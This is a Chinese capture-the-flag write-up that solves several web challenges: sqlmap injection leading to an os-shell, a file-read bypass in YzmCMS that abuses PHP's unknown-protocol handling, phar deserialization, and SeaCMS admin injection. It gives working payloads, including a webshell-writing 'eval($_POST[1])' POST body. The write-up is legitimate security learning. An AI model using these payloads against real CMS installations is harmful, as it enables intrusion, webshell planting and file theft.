题目源码:
链接: https://pan.baidu.com/s/1YiLgk931hrz3uqnQD3Dz6A 密码: dmqt
打开题目直接进入登录界面,有admin用户存在,弱密码无效。根据Wappalyzer提示,题目站点使用了CodeIgniter框架,通过比对题目环境的URL和CodeIgniter的三个大版本的源码,猜测应该用的是CodeIgniter4.0。前台登录有盲注存在: 可以用SQLMAP跑出数据库信息,但是进入后台没有什么用。再使用SQLMAP获取sql-shell,可以读取部分文件: 这道题坑的地方就在于网站根目录不在/var/www/下,通过读取 /etc/apache2/sites-enabled/000-default.conf得到网站根目录/var/sercet/html再用SQL拿到os-shell,搜索flag文件
读取flag文件
www.zip 可以下载源码查看配置文件/common/config/config.php 用admin和admin868可以成功登陆网站后台。https://www.freebuf.com/vuls/248912.html这篇文章中提到了一个SSRF漏洞,代码进行对比之后,发现题目把漏洞换成了任意文件读取,文件位置:/core/class/collection.class.php
然后打比赛的时候就一直卡在这,现在想想真的是蠢,忘了去看yzmcms的官方issues,我说怎么这么多人做出来了。
照着这个复现一下就可以打过去:https://github.com/yzmcms/yzmcms/issues/53
找到了洞不知道怎么利用,真的是有够菜的,还是来看看原理。
当时最大的问题就是不能回显,当时我直接在网址配置中用file协议读文件:
提交之后,点击测试采集,在phpstorm打断点调试,在运行到100行的时候,content中的内容是/etc/passwd的文件内容。
但是在调用get_sub_content函数之后,content的值会被改变,我们跟进这个函数:
这个函数用了两次explode函数把content分割成一个数组,然后返回一个冒号。既然这样,我们知道flag的格式是flag{}
那么把start
改成f
,把end
改成}
,再经过这个函数处理后就可以保留关键的地方:
但是问题又来了,content的内容还要经过get_all_url函数的处理,继续跟进:
第65行preg_match_all函数提取a标签中的内容,并且在下面的foreach循环中,会接着提取href元素内容,既然如此,那么我们就把要读取的文件写在a标签的href元素中作为链接,然后封装在一个HTML文件中。
例如:
1 | z<a href="file:///Users/ca01h/flag">123</a>y |
模块采集配置:
跟进函数
但是在第83行还要经过url_check函数的检查,跟进:
这个函数内部规定了只允许HTTP或HTTPS协议,于是我们用file协议会直接报错。但这种检查前四个字符的方式未免有些简单粗暴,可以使用一个PHP特性绕过:
When PHP encounters an unknown protocol, it will throw a warning and set the protocol to null. When the Protoco is null or file, the local operation will be carried out. By default, the local file operation will be performed if the protocol is not transferred or the protocol does not exist.
简单来说就是:当PHP遇到一个不存在的协议的时候,会把协议置空,并且当协议为空或者不存在时,会当做文件操作,即file协议。
既然这样,那我们最后的payload就是:
1 | z<a href="httpxxx:///Users/ca01h/flag">123</a>y |
最后成功返回到content参数中:
虽然有个warning,但是文件还是读出来了:
这题也挺简单的,时间都花在上面那道题目了,真的是亏死。。
重点审计class.php这个文件,应该可以很明显的发现有反序列化的漏洞:
其中tile和comment都是可以控制的,那么利用其中一个变量即可。
接着需要寻找反序列化的触发点,全局搜索没有unserialize函数后,可以很快的发现admin.php有文件上传功能,那么肯定是要上传phar压缩包触发反序列化,再找文件操作的相关函数,在index.php中有file_exist函数:
把phar压缩包的路径传入img参数即可触发反序列化。
1 |
|
看到这种量级的代码,出题人一般都是拿别市面上的CMS,这个时候就可以先找配置文件看看,在data/common.inc.php文件中:
有两个信息:第一出题人用的是seacms,第二数据库的用户名和密码是admin,admin,这个也是本网站的后台密码。
既然是seacms,那我们就充分发挥Google的作用:https://lhlh22.github.io/2020/10/22/Seacms-v10-1-后台getshell/#后台命令执行(三)
这篇文章提到了admin_notify.php文件:
过滤掉了括号和反引号,那么我们就可以直接include "/flag";
即可,payload:
1 | /adm1n/admin_notify.php?action=set |
再访问/data/admin/notify.php
除此之外,adm1n/admin_ip.php
也可以写入webshell:
不知道这个preg_match有啥用。。
payload:
1 | POST: v=";eval($_POST[1]);//&ip=1.1.1.1 |